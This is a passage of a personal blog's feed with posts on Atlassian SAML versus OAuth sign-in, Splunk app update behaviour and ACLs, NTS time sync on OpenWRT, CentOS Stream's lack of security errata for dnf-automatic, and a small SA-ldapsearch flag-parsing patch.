SSO.</p><p>If I have an Entra ID account which means I also have a Microsoft account, I can head to id.atlassian.com, hit “Continue with Microsoft”, enter my Microsoft account’s credential (which is <em>also</em> my Entra ID’s), then enter email confirmation code, and I will get an Atlassian account without ever creating an Atlassian password.</p><p>Adding to the confusion is the fact that the previous process will also create an enterprise application called “Atlassian” in Entra ID to provide OAuth identity, the same place to configure SAML by creating another enterprise application.</p><p>In Atlassian environment, OAuth is not SSO as it only involves authorisation not authentication — user authorises Atlassian to use their email address. Whether I sign up&#x2F;in using Atlassian password or OAuth, I will get the same Atlassian account because my email address is the same. This means if I sign up using OAuth, I can later create an Atlassian password through password reset email; conversely, I could also create an Atlassian password then login using OAuth.</p><p>Once SAML — the true SSO in this case — is configured, user will not be able to sign up an Atlassian account using enterprise email because the email address or domain would have already been claimed by the organisation that administers the enterprise account. Entering enterprise email address in id.atlassian.com would redirect users to SAML logon URL instead of OAuth’s. Atlassian organisation admin can claim all users or a subset.</p><p>As a rule of thumb, if the logon process redirects user to id.atlassian.com, it is not SSO.</p><h2 id="integration-method">Integration method <a href="#integration-method" class="headerlink" title="Integration method">§</a></h2><p>The main difference between organisation-wide and Jira portal-only customer SSO is that the former requires domain verification on the domain of the organisation’s email address, which is also the tenancy domain of identity provider (IdP). Organisation just need to publish a TXT record “atlassian-domain-verification&#x3D;xxx” on their domain to prove ownership. However, what if the organisation does not own that domain? Imagine a conglomerate with a centralised identity where all subsidiaries use the same email domain (<code>@example.com</code>) and each subsidiary is given a subdomain instead (<code>sub.example.com</code>).</p><p>In the conglomerate example, the central IT who administers the IdP tenancy would need to dedicate a resource to manage an Atlassian organisation, as in an enterprise subscription. This may not always be possible in situations such as low uptake of Atlassian product among subsidiaries, hence the central IT is reluctant to sponsor that resource. Even with <a href="https://community.atlassian.com/t5/Articles/Multiple-orgs-can-verify-and-claim-users-from-the-same-domain/ba-p/2688009">multi-org SSO</a>, where multiple organisations can share the same domain, the central IT may not be comfortable delegating claiming of users to subsidiaries, especially in a low uptake situation.</p><p>In that situation, an alternative is to configure portal-only customer SSO instead, applicable only to Jira. Portal-only customer SSO does not require domain verification, in fact domain ownership is not even relevant at all. Portal-only customer SSO mainly caters to IT vendors to enable their clients to raise support ticket using existing identity. An IT vendor’s Jira portal is configured to accept identities provided and signed by client organisation’s IdP. Then, Identifier and Reply URLs of the support portal are added to the client’s IdP. Once configured, users of client organisation can then access the IT vendor’s support portal through SSO.</p><p>A notable caveat of portal-only customer SSO is that only applies to <em>customers</em>. If organisation-wide SSO is not configured, service desk would logon using an Atlassian account to respond to tickets. When an agent access a portal (<code>xxx.atlassian.net/servicedesk/customer/portals</code>) and enter their email, the logon button is shown as “Continue with Atlassian account”, instead of “Continue with single sign-on”.</p><p>How does a Jira portal detect whether an email should login with Atlassian account or SSO? It checks whether that email exists as a <em>user</em> in the Atlassian organisation of a portal who is also known as an <em>agent</em> — paid user that counts toward Atlassian subscription. If an email exists as a user under the Directory tab of Atlassian Administration (admin.atlassian.com) — regardless whether that user is an organisation&#x2F;Jira admin or not — then “Continue with Atlassian account” will always appear. For “Continue with single sign-on” to appear, that email can only exists as a Jira <a href="https://support.atlassian.com/user-management/docs/manage-jira-service-management-customer-accounts/">portal-only customer</a>, not an agent. The email does not even need to exist as a customer (portal-only account) if it has not been used to logon to that portal. User (or rather, <em>customer</em>) management will be mainly handled by the IdP under the enterprise application configuration. Jira admin can then choose whether to automatically or manually approve customer access.</p><p>What if organisation-wide SSO is configured? How does Jira portal logon look like if a customer is part of the same organisation? I’m not sure. I’d imagine “Continue with Atlassian account” will be shown and then redirect to SAML logon URL.</p><h3 id="atlassian-guard">Atlassian Guard <a href="#atlassian-guard" class="headerlink" title="Atlassian Guard">§</a></h3><p>Both organisation-wide and Jira portal-only customer SSO require <a href="https://www.atlassian.com/software/guard/pricing">Atlassian Guard</a>, but portal-only customer accounts do not count toward Jira and Atlassian Guard subscriptions.</p><h3 id="domain-verification">Domain verification <a href="#domain-verification" class="headerlink" title="Domain verification">§</a></h3><p>Enterprise subscription requires domain verification even when organisation-wide SSO is not used. If a subsidiary or business unit does not have access to the central identity’s domain (<code>@example.com</code>), it can verify its own (sub)domain instead (<code>sub.example.com</code>). <a href="https://community.atlassian.com/t5/Articles/Multiple-orgs-can-verify-and-claim-users-from-the-same-domain/ba-p/2688009">Multi-org domain</a> is also an option.</p>]]></content>
    
    
    <summary type="html">SAML vs OAuth</summary>
    
    
    
    <category term="jira" scheme="https://mdleom.com/tags/jira/"/>
    
    <category term="sso" scheme="https://mdleom.com/tags/sso/"/>
    
  </entry>
  
  <entry>
    <title>Updating lookup and dashboard through Splunk app update</title>
    <link href="https://mdleom.com/blog/2024/12/12/splunk-app-update/"/>
    <id>https://mdleom.com/blog/2024/12/12/splunk-app-update/</id>
    <published>2024-12-12T00:00:00.000Z</published>
    <updated>2025-01-05T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>I store all Splunk system configuration and application’s knowledge objects (alerts, lookups, dashboards, etc) in a Git repository for version tracking. The repository is used as the source of truth, meaning any change–however miniscule–has to be committed to the repo first before deploying it. Under <a href="https://en.wikipedia.org/wiki/DevOps">DevOps</a>, although this achieves GitOps, but falls short of CI&#x2F;CD: there is no config validation and changes cannot be reliably deployed automatically.</p><p>Adherence to GitOps requires strict discipline, once you gone down this path, Splunk Web should not be used to change settings unless necessary, instead changes should be be made either through editing configuration files directly or app update. This is especially important in Splunk Cloud, once an app-level configuration is modified through Splunk Web, it will be saved to <code>local</code> folder of the app. Once that happened, the configuration file can no longer be updated through app update because uploading an app with <code>local</code> folder will not pass the <a href="https://dev.splunk.com/enterprise/docs/developapps/testvalidate/appinspect/">cloud vetting</a>.</p><p>This does not mean Splunk Web cannot be used at all to change settings. In Splunk Cloud, <a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Wheretofindtheconfigurationfiles#Global_configuration_files">system&#x2F;global-level</a> (compared to to app-level) settings can <em>only</em> be modified through Web due to lack of direct file access (i.e. you can’t ssh into the instance to edit files in <code>$SPLUNK_HOME/etc/system/local/</code>). Some system-level settings include SSO (<a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Authenticationconf">authentication.conf</a>) and role capabilities (<a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Authorizeconf">authorize.conf</a>.)</p><table><thead><tr><th>Knowledge Object</th><th>Enterprise¹</th><th>Cloud</th></tr></thead><tbody><tr><td><a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Wheretofindtheconfigurationfiles#App.2Fuser_configuration_files">Configuration files</a></td><td>Y</td><td>Y</td></tr><tr><td><a href="#lookup-table-files">Lookup table files</a></td><td>Y</td><td>N</td></tr><tr><td><a href="#dashboards">Dashboards</a></td><td>Y</td><td>N</td></tr></tbody></table><ul><li>Y: Replace</li><li>N: Retain</li><li>¹Assuming “Upgrade app” is checked.</li></ul><h2 id="lookup-table-files">Lookup table files <a href="#lookup-table-files" class="headerlink" title="Lookup table files">§</a></h2><p>In Splunk Cloud, installing a newer app version with updated CSVs will not replace the content of existing ones. This does not sound intuitive, to replace them, you have to <em>delete</em> the relevant CSV in Splunk Web (Settings → Lookups → Table files → Delete). If an app package includes lookup files (under <code>lookups</code>), deleting them through the settings will not actually delete, but rather <em>restore</em> them to the packaged version. To actually delete them, you have to delete them from the app package, install that package, then delete again in the lookups setting.</p><p>In Splunk Enterprise, any change to the lookups of the app package will always replace the installed version during app update, including content change and lookup deletion.</p><h2 id="dashboards">Dashboards <a href="#dashboards" class="headerlink" title="Dashboards">§</a></h2><p>In Splunk Cloud, even if a dashboard was never modified through Splunk Web, installing a newer app version does not replace existing ones, as if the dashboard XML in the <code>default</code> is automatically copied to the <code>local</code> folder upon installation. Since there is no way to delete the dashboards (in order to <em>restore</em> them to the original <code>default</code>), the only way I can think of is through app reinstallation (uninstall then install). Since reinstallation is rather drastic as it results in temporary lost of <a href="https://gitlab.com/curben/splunk-scripts/-/tree/main/threat-hunting">alerts</a> and lookups depended by them, I create separate apps that only have dashboards, then another set of apps for everything else.</p>]]></content>
    
    
    <summary type="html">Splunk Cloud and Enterprise behave differently</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
  </entry>
  
  <entry>
    <title>Configuring NTS in OpenWRT</title>
    <link href="https://mdleom.com/blog/2024/10/12/nts-openwrt/"/>
    <id>https://mdleom.com/blog/2024/10/12/nts-openwrt/</id>
    <published>2024-10-12T00:00:00.000Z</published>
    <updated>2025-05-08T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Network Time Security (NTS) is a security extension to the Network Time Protocol (NTP) to provide integrity and authenticity using TLS, and <a href="https://datatracker.ietf.org/doc/html/rfc8915#name-objectives">other features</a>. Despite the use of TLS, NTS does not provide confidentiality as the NTP data itself is not encrypted. Other security extension (unrelated to NTP) like DNSSEC also does not provide confidentiality because the DNS data is not encrypted. Even TLS itself is not fully encrypted because Client Hello is still sent in the clear, at least until <a href="https://blog.cloudflare.com/announcing-encrypted-client-hello/">Encrypted Client Hello</a> is standardised.</p><p>Back to OpenWRT, first SSH into the device.</p><p>Disable <code>sysntpd</code> so that there is only one NTP client.</p><pre><code class="hljs plaintext">service sysntpd stopservice sysntpd disable</code></pre><p>Install <code>chrony-nts</code> package, <code>chrony</code> package does not support NTS.</p><pre><code class="hljs plaintext">opkg updateopkg install chrony-nts</code></pre><p>Disable NTP in chrony.</p><pre><code class="hljs plaintext">uci set chrony.@pool[0].disabled=&#x27;1&#x27;uci set chrony.@dhcp_ntp_server[0].disabled=&#x27;1&#x27;</code></pre><p>Add <a href="https://github.com/jauderho/nts-servers">NTS servers</a>, preferably at least two and they are geographically close.</p><pre><code class="hljs plaintext">uci set chrony.cloudflare=&#x27;server&#x27;uci set chrony.cloudflare.hostname=&#x27;time.cloudflare.com&#x27;uci set chrony.cloudflare.iburst=&#x27;yes&#x27;uci set chrony.cloudflare.nts=&#x27;yes&#x27;uci set chrony.netnod=&#x27;server&#x27;uci set chrony.netnod.hostname=&#x27;nts.netnod.se&#x27;uci set chrony.netnod.iburst=&#x27;yes&#x27;uci set chrony.netnod.nts=&#x27;yes&#x27;</code></pre><p>Use NTS only.</p><pre><div class="caption"><span>/etc/chrony.d/20-nts.conf</span></div><code class="hljs plain"># Require at least 2 reachable sourcesminsources 2# Use NTS sources onlyauthselectmode require# Disable chronyc remote accesscmdport 0</code></pre><p>The actual config is actually in “&#x2F;var&#x2F;etc&#x2F;chrony.d&#x2F;“, but the “&#x2F;var” folder is not persistent across reboot.<br>So, a workaround is to save it into “&#x2F;etc&#x2F;chrony.d&#x2F;“, then copy to “&#x2F;var” after boot.</p><p>Append these lines to “&#x2F;etc&#x2F;rc.local” before <code>exit 0</code>.</p><pre><div class="caption"><span>/etc/rc.local</span></div><code class="hljs sh"><span class="hljs-built_in">sleep</span> 60<span class="hljs-built_in">mkdir</span> -p <span class="hljs-string">&quot;/var/etc/chrony.d/&quot;</span><span class="hljs-built_in">cp</span> <span class="hljs-string">&quot;/etc/chrony.d/20-nts.conf&quot;</span> <span class="hljs-string">&quot;/var/etc/chrony.d/20-nts.conf&quot;</span>service chronyd restart</code></pre><p>Preserve the config during upgrade.</p><pre><code class="hljs plaintext">echo &quot;/etc/chrony.d/&quot; &gt;&gt; /etc/sysupgrade.conf</code></pre><p>Commit the changes and restart the daemon.</p><pre><code class="hljs plaintext">uci commit chronyservice chronyd restart</code></pre><p>Verify the config.</p><pre><code class="hljs plaintext">cat /etc/config/chronyconfig pool  option hostname &#x27;2.openwrt.pool.ntp.org&#x27;  option maxpoll &#x27;12&#x27;  option iburst &#x27;yes&#x27;  option disabled &#x27;yes&#x27;config dhcp_ntp_server  option iburst &#x27;yes&#x27;  option disabled &#x27;yes&#x27;config server cloudflare  option hostname &#x27;time.cloudflare.com&#x27;  option iburst &#x27;yes&#x27;  option nts &#x27;yes&#x27;config server netnod  option hostname &#x27;nts.netnod.se&#x27;  option iburst &#x27;yes&#x27;  option nts &#x27;yes&#x27;config allow  option interface &#x27;lan&#x27;config makestep  option threshold &#x27;1.0&#x27;  option limit &#x27;3&#x27;config nts  option rtccheck &#x27;yes&#x27;  option systemcerts &#x27;yes&#x27;</code></pre><pre><code class="hljs plaintext">cat /var/etc/chrony.d/10-uci.confserver time.cloudflare.com iburst ntsserver nts.netnod.se iburst ntsallow 192.168.1.1/24makestep 1.0 3nocerttimecheck 1</code></pre><pre><code class="hljs plaintext">chronyc sourcesMS Name/IP address         Stratum Poll Reach LastRx Last sample===============================================================================^* time.cloudflare.com           3   6    17    13  -1188us[-1395us] +/-   11ms^- nts.netnod.se                 2   6    17    13   +229us[  +22us] +/-   85ms</code></pre><p>Lastly, highly recommend to hardcode the IP address of the chosen NTP servers into “&#x2F;etc&#x2F;hosts”, especially when using DNSSEC-validating DNS client, to avoid unresolvable NTS domains when the time is not correct.</p>]]></content>
    
    
    <summary type="html">Obtain time in an authenticated manner</summary>
    
    
    
    <category term="openwrt" scheme="https://mdleom.com/tags/openwrt/"/>
    
  </entry>
  
  <entry>
    <title>CentOS Stream does not support dnf-automatic security updates</title>
    <link href="https://mdleom.com/blog/2024/07/15/dnf-automatic-centos-stream/"/>
    <id>https://mdleom.com/blog/2024/07/15/dnf-automatic-centos-stream/</id>
    <published>2024-07-15T00:00:00.000Z</published>
    <updated>2025-04-08T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>If you have configured dnf-automatic to only apply security updates on CentOS Stream, it <strong>will not</strong> install any updates.</p><pre><div class="caption"><span>/etc/dnf/automatic.conf</span></div><code class="hljs plain">[commands]upgrade_type = security</code></pre><h2 id="background">Background <a href="#background" class="headerlink" title="Background">§</a></h2><p>I discovered this limitation when attempting to patch openssh against CVE-2024-6387 (regreSSHion). Here’s a brief timeline of patch availability on CentOS Stream 9:</p><ul><li>1 Jul 2024: CVE-2024-6387 made public</li><li>3 Jul 2024: Patch available for RHEL 9 through <a href="https://access.redhat.com/errata/RHSA-2024:4312">openssh-8.7p1-38.el9_4.1</a>.</li><li>4 Jul 2024: CentOS Stream 9 merged <a href="https://gitlab.com/redhat/centos-stream/rpms/openssh/-/merge_requests/78">the patch</a></li><li>8 Jul 2024: Patch available through <a href="https://mirror.stream.centos.org/9-stream/BaseOS/x86_64/os/Packages/">openssh-8.7p1-42.el9</a></li></ul><p>While waiting for the patch availability, I enabled dnf-automatic and configured it to apply security updates only. When the patch <code>openssh-8.7p1-42.el9</code> was finally available, I checked whether it has been applied using <code>dnf info openssh</code>. It showed the installed version is still 8.7p1-<strong>41</strong> and 8.7p1-<strong>42</strong> is available. That did not look good. Did I forgot to enable dnf-automatic? <code>systemctl status dnf-automatic.timer</code> showed it is enabled. Did it trigger dnf-automatic.service?</p><pre><div class="caption"><span>journalctl -r -u dnf-automatic.service</span></div><code class="hljs plain">Jul 9 06:15:03 localhost dnf-automatic[12345]: No security updates needed, but 3 updates available</code></pre><p>Not only dnf-automatic did not install 8.7p1-42, it also did not see the version as a security update. Before I went on to search for answer, I applied the patch first <code>dnf upgrade openssh</code>.</p><h2 id="updateinfoxml">updateinfo.xml <a href="#updateinfoxml" class="headerlink" title="updateinfo.xml">§</a></h2><p>RedHat <a href="https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html-single/managing_and_monitoring_security_updates/index#displaying-security-updates-that-are-installed-on-a-host_identifying-security-updates">documentation</a> mentions installed security updates can be listed through <code>dnf updateinfo list security --installed</code>, however it returned empty on CentOS Stream 9. To check if the command actually works, I ran it on an AlmaLinux box and it returned similar output as the RedHat documentation.</p><p>I then learned that dnf depends on <a href="https://forums.rockylinux.org/t/dnf-security-updates/8327"><em>errata</em></a> to be able to detect whether a package version is a security update. From <a href="https://www.caseylabs.com/centos-automatic-security-updates-do-not-work/">this post</a> (<a href="https://web.archive.org/web/20211011104926/https://www.caseylabs.com/centos-automatic-security-updates-do-not-work/">archived</a>), I discovered errata is published on the repository in the form of updateinfo.xml, which is related to <code>dnf updateinfo</code>.</p><p>When dnf is refreshing metadata, the first thing it looks for is <a href="https://mirror.stream.centos.org/9-stream/BaseOS/x86_64/os/repodata/repomd.xml">&#x2F;repodata&#x2F;repomd.xml</a>. So, I tried to look for updateinfo.xml in <a href="https://mirror.stream.centos.org/9-stream/BaseOS/x86_64/os/repodata/">&#x2F;repodata&#x2F;</a> but could not find it. This explained the empty output of <code>dnf updateinfo</code>. Then, I searched for it in <a href="https://repo.almalinux.org/almalinux/9/BaseOS/x86_64/os/repodata/">AlmaLinux</a> and found <code>&#123;sha256sum-hash&#125;-updateinfo.xml.gz</code>. Since the content is updated constantly, how does dnf know which updateinfo.xml to grab? I opened up the <a href="https://repo.almalinux.org/almalinux/9/BaseOS/x86_64/os/repodata/repomd.xml">repomd.xml</a> and noticed</p><pre><code class="hljs xml"><span class="hljs-tag">&lt;<span class="hljs-name">data</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;updateinfo&quot;</span>&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">location</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;repodata/&#123;sha256sum-hash&#125;-updateinfo.xml.gz&quot;</span>/&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">data</span>&gt;</span></code></pre><p>I also searched and discovered updateinfo is also available on <a href="https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/repodata/">Rocky Linux</a>, <a href="https://yum.oracle.com/repo/OracleLinux/OL9/baseos/latest/x86_64/repodata/">Oracle Linux</a> and <a href="https://dl.fedoraproject.org/pub/fedora/linux/updates/40/Everything/x86_64/repodata/">Fedora</a>. Looking at Fedora’s <a href="https://dl.fedoraproject.org/pub/fedora/linux/updates/40/Everything/x86_64/repodata/repomd.xml">repomd.xml</a>, I learned that the updateinfo.xml can be available in gzip, xzip and zchunk (<code>updateinfo_zck</code>) formats. Without updateinfo.xml, CentOS Stream could not discern between security and <a href="https://access.redhat.com/articles/explaining_redhat_errata">bugfix&#x2F;feature</a> updates.</p><p>CentOS used to have updateinfo prior to CentOS 7; after it was removed in CentOS 7, there was a <a href="https://updateinfo.cefs.steve-meier.de/">third-party repository</a> that filled the gap but it never supported CentOS Stream.</p><h2 id="enable-automatic-updates">Enable automatic updates <a href="#enable-automatic-updates" class="headerlink" title="Enable automatic updates">§</a></h2><p>Automatic updates only works in CentOS Stream with this config which installs <em>all</em> available updates, regardless of security&#x2F;bugfix&#x2F;feature:</p><pre><div class="caption"><span>/etc/dnf/automatic.conf</span></div><code class="hljs plain">[commands]upgrade_type = defaultapply_updates = yes</code></pre><p>Automatic security-only updates are available on RHEL, AlmaLinux, Rocky Linux, Oracle Linux and Fedora. Fedora’s updateinfo does not include a CVE reference (e.g. <code>&lt;reference href=&quot;https://access.redhat.com/security/cve/CVE-2024-6387&quot; id=&quot;CVE-2024-6387&quot; type=&quot;cve&quot; title=&quot;CVE-2024-6387&quot;/&gt;</code>), thus unable to <a href="https://docs.oracle.com/en/learn/ol-dnf-security/#filter-the-list-of-security-updates">filter</a> by CVE ID (<code>dnf updateinfo list --cve CVE-2024-6387 --installed</code>).</p><h2 id="unattended-upgrades-in-debian-ubuntu">Unattended upgrades in Debian&#x2F;Ubuntu <a href="#unattended-upgrades-in-debian-ubuntu" class="headerlink" title="Unattended upgrades in Debian&#x2F;Ubuntu">§</a></h2><p>Automatic updates is provided by the <a href="https://pkgs.org/download/unattended-upgrades"><code>unattended-upgrades</code></a> package which is installed by default, but not enabled. It can be configured through “&#x2F;etc&#x2F;apt&#x2F;apt.conf.d&#x2F;50unattended-upgrades”.</p><pre><div class="caption"><span>/etc/apt/apt.conf.d/50unattended-upgrades</span></div><code class="hljs plain">Unattended-Upgrade::Allowed-Origins &#123;  &quot;$&#123;distro_id&#125;:$&#123;distro_codename&#125;&quot;;  &quot;$&#123;distro_id&#125;:$&#123;distro_codename&#125;-security&quot;;&#125;;</code></pre><p>Each allowed origin refers to a <a href="https://manpages.debian.org/bookworm/apt/sources.list.5.en.html#THE_DEB_AND_DEB-SRC_TYPES:_GENERAL_FORMAT">distribution&#x2F;component</a>; in Ubuntu 24.04, those two lines refer to <a href="https://mirrors.edge.kernel.org/ubuntu/dists/noble/"><code>24.04:noble</code></a> and <a href="https://mirrors.edge.kernel.org/ubuntu/dists/noble-security/"><code>24.04:noble-security</code></a>. The default config effectively applies security updates only, though it is not obvious at first. <code>noble</code> is the base repository of Ubuntu 24.04 once it reached general availability. Security updates are available in <code>noble-security</code> while bugfix updates are available in <code>noble-updates</code> instead.</p><p>In Debian, the config is different.</p><pre><div class="caption"><span>/etc/apt/apt.conf.d/50unattended-upgrades</span></div><code class="hljs plain">Unattended-Upgrade::Allowed-Origins &#123;  &quot;origin=Debian,codename=$&#123;distro_codename&#125;,label=Debian&quot;;  &quot;origin=Debian,codename=$&#123;distro_codename&#125;,label=Debian-Security&quot;;&#125;;</code></pre><p>Security updates are published to a different uri <a href="https://archive.debian.org/debian-security/"><code>debian-security</code></a> instead of the primary uri <a href="https://archive.debian.org/debian/"><code>debian</code></a>. A notable implication is that not every <a href="https://www.debian.org/mirror/list">Debian mirror</a> mirrors <code>debian-security</code>.</p><p>To enable unattended upgrades, <code>dpkg-reconfigure --priority=low unattended-upgrades</code> then select yes. Or in a script with:</p><pre><code class="hljs sh"><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;unattended-upgrades unattended-upgrades/enable_auto_updates boolean true&quot;</span> | debconf-set-selectionsdpkg-reconfigure -f noninteractive unattended-upgrades</code></pre><p>To verify, “&#x2F;etc&#x2F;apt&#x2F;apt.conf.d&#x2F;20auto-upgrades” should have</p><pre><code class="hljs plain">APT::Periodic::Update-Package-Lists &quot;1&quot;;APT::Periodic::Unattended-Upgrade &quot;1&quot;;</code></pre>]]></content>
    
    
    <summary type="html">The repository lacks updateinfo to provide errata</summary>
    
    
    
    <category term="centos" scheme="https://mdleom.com/tags/centos/"/>
    
  </entry>
  
  <entry>
    <title>Applying default-deny ACL in Splunk app</title>
    <link href="https://mdleom.com/blog/2024/02/24/splunk-app-acl/"/>
    <id>https://mdleom.com/blog/2024/02/24/splunk-app-acl/</id>
    <published>2024-02-24T00:00:00.000Z</published>
    <updated>2024-02-24T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>When I first started creating custom Splunk app, I had an incorrect understanding of access control list (ACLs) configured using <a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Defaultmetaconf">default.meta.conf</a> (located at app_folder&#x2F;metadata&#x2F;default.meta) whereby I could grant read access to a role like this:</p><pre><code class="hljs plain">[]access = read : [ roleA ], write : [ ][lookups/lookupB.csv]access = read : [ roleA, roleB ], write : [ ]</code></pre><p>Or like this:</p><pre><code class="hljs plain">[]access = read : [ roleA ], write : [ ][lookups]access = read : [ roleA, roleB ], write : [ ]</code></pre><p>None of the above configs will grant roleB read access to lookupB.csv. For the rest of this discussion, we assume that roleB should have access to lookupB.csv only.</p><pre><code class="hljs md"><span class="hljs-section"># Interaction of ACLs across app-level, category level, and specific object configuration:</span><span class="hljs-bullet">-</span> To access/use an object, users must have read access to:<span class="hljs-bullet">  -</span> the app containing the object<span class="hljs-bullet">  -</span> the generic category within the app (for example, [views])<span class="hljs-bullet">  -</span> the object itself<span class="hljs-bullet">-</span> If any layer does not permit read access, the object will not be accessible.</code></pre><blockquote><p>For brevity, this article will only discuss about read access which has slightly different interaction of ACLs compared to write access. Don’t worry, once you understood read access, it’s much easier to understand write access.</p></blockquote><p>Notice a role must at least have read access to the app. The simplest way to grant roleB read access is,</p><pre><code class="hljs plain">[]access = read : [ roleA, roleB ], write : [ ]</code></pre><p>While the above config is effective, but it does not meet the access requirement: roleB is granted read access to every objects in that app.</p><p>roleB can be restricted as such:</p><pre><code class="hljs plain">[]access = read : [ roleA, roleB ], write : [ ][lookups/lookupA.csv]access = read : [ roleA ], write : [ ][lookups/lookupB.csv]access = read : [ roleA, roleB ], write : [ ][lookups/lookupC.csv]access = read : [ roleA ], write : [ ]</code></pre><p>It is effective and meets the requirement, but there is an issue. Every new lookup&#x2F;object will now need to specify <code>access = read : [ roleA ], write : [ ]</code> to restrict roleB’s access. This is similar to a default-allow firewall.</p><h2 id="default-deny-acl">Default-deny ACL <a href="#default-deny-acl" class="headerlink" title="Default-deny ACL">§</a></h2><p>How to implement default-deny ACL? We can achieve it by separating into two apps: appA is accessible to roleA only, appB is accessible to roleA and roleB. Any object we want to share with roleA and roleB, we put it in appB instead.</p><pre><div class="caption"><span>appA</span></div><code class="hljs plain">[]access = read : [ roleA ], write : [ ]</code></pre><pre><div class="caption"><span>appB</span></div><code class="hljs plain">[]access = read : [ roleA, roleB ], write : [ ]</code></pre><p>In this approach, every new objects created in appA will not be accessible to roleB because it does not have app access.</p><h2 id="non-removable-lookup-file">Non-removable lookup file <a href="#non-removable-lookup-file" class="headerlink" title="Non-removable lookup file">§</a></h2><p>I noticed lookup files that have object-level ACL, e.g.</p><pre><code class="hljs plain">[lookups/lookupC.csv]access = read : [ roleA ], write : [ ]</code></pre><p>makes it non-removable, even with admin&#x2F;sc-admin role.</p><p>My theory is that the object is non-removable to prevent the ACL from being orphaned. But this theory does not hold, at least for a lookup file that is shipped with an app; deleting a lookup file merely resets its content back to the app’s version. Deleting a lookup file is necessary during an app update that also have updated content of a bundled lookup file. Even when a lookup was never modified, Splunk will keep the content during an app update. Updating an app does not automatically update the bundled lookup, the lookup will only be updated after a delete operation.</p><p>Similar limitation (i.e. app update does not update the app’s object) also applies to dashboards. However, there is no way to delete a dashboard xml in Splunk Cloud, so updating a dashboard through app update always require app uninstallation beforehand.</p>]]></content>
    
    
    <summary type="html">Isolate access between roles</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
  </entry>
  
  <entry>
    <title>Query LOCKOUT and PASSWORD_EXPIRED flags on Splunk SA-ldapsearch</title>
    <link href="https://mdleom.com/blog/2023/10/01/splunk-ldapsearch-useraccountcontrol/"/>
    <id>https://mdleom.com/blog/2023/10/01/splunk-ldapsearch-useraccountcontrol/</id>
    <published>2023-10-01T00:00:00.000Z</published>
    <updated>2023-10-01T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://splunkbase.splunk.com/app/1151">SA-ldapsearch</a> (Splunk Supporting Add-on for Active Directory) has a useful feature that parses “userAccountControl” flags into a multivalue. For example, instead of showing “514”, it shows <code>[ACCOUNTDISABLE, NORMAL_ACCOUNT]</code> instead. However, I noticed <code>LOCKOUT</code> and <code>PASSWORD_EXPIRED</code> flags are not shown even though I was sure the accounts I queried have either of those flags set. Those flags are indeed listed under documentations for “userAccountControl”: <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties#list-of-property-flags">Windows Server</a> and <a href="https://learn.microsoft.com/en-gb/windows/win32/adschema/a-useraccountcontrol">Active Directory Schema</a>.</p><p>Despite being mentioned in the documentations, in that Windows Server doc, there is a note that says those flags have been moved to “<a href="https://learn.microsoft.com/en-gb/windows/win32/adschema/a-msds-user-account-control-computed">msDS-User-Account-Control-Computed</a>“ attribute since Windows Server 2003. But when I queried that attribute, I got a decimal value which meant the parsing function was not applied.</p><p>To apply flag-parsing function on “msDS-User-Account-Control-Computed”:</p><pre><div class="caption"><span>SA-ldapsearch/bin/packages/app/formatting_extensions.py</span></div><code class="hljs python"><span class="hljs-string">&#x27;1.2.840.113556.1.4.8&#x27;</span>:             format_user_flag_enum,         <span class="hljs-comment"># User-Account-Control</span><span class="hljs-string">&#x27;1.2.840.113556.1.4.1460&#x27;</span>:          format_user_flag_enum,         <span class="hljs-comment"># ms-DS-User-Account-Control-Computed</span></code></pre><p>First line is an existing one, the second line is the new one.</p><p>For the sake of completeness, that function can also be patched to parse other flags of “msDS-User-Account-Control-Computed”. I created <a href="https://gitlab.com/curben/splunk-scripts/-/tree/main/SA-ldapsearch?ref_type=heads">a script</a> to apply the following patch directly on “<a href="https://splunkbase.splunk.com/app/1151">splunk-supporting-add-on-for-active-directory_*.tgz</a>“ and save it to a new app package “SA-ldapsearch_*.tgz”.</p><pre><code class="hljs patch"><span class="hljs-comment">--- SA-ldapsearch/bin/packages/app/formatting_extensions.py  2023-09-06 00:00:00.000000000 +0000</span><span class="hljs-comment">+++ SA-ldapsearch/bin/packages/app/formatting_extensions.py  2023-09-06 00:00:00.000000001 +0000</span><span class="hljs-meta">@@ -721,6 +721,12 @@</span>         names.append(&#x27;PASSWORD_EXPIRED&#x27;)     if flags &amp; 0x1000000:         names.append(&#x27;TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION&#x27;)<span class="hljs-addition">+    if flags &amp; 0x2000000:</span><span class="hljs-addition">+        names.append(&#x27;NO_AUTH_DATA_REQUIRED&#x27;)</span><span class="hljs-addition">+    if flags &amp; 0x4000000:</span><span class="hljs-addition">+        names.append(&#x27;PARTIAL_SECRETS_ACCOUNT&#x27;)</span><span class="hljs-addition">+    if flags &amp; 0x8000000:</span><span class="hljs-addition">+        names.append(&#x27;USE_AES_KEYS&#x27;)</span>     # Zero or one of these flags may be set<span class="hljs-meta">@@ -822,6 +828,7 @@</span>     &#x27;1.2.840.113556.1.4.1303&#x27;:          format_sid,                    # Token-Groups-No-GC-Acceptable     &#x27;1.2.840.113556.1.4.8&#x27;:             format_user_flag_enum,         # User-Account-Control<span class="hljs-addition">+    &#x27;1.2.840.113556.1.4.1460&#x27;:          format_user_flag_enum,         # ms-DS-User-Account-Control-Computed</span>     # formatter specially for msExchMailboxSecurityDescriptor     &#x27;1.2.840.113556.1.4.7000.102.80&#x27; : format_security_descriptor,     # msExchMailboxSecurityDescriptor</code></pre>]]></content>
    
    
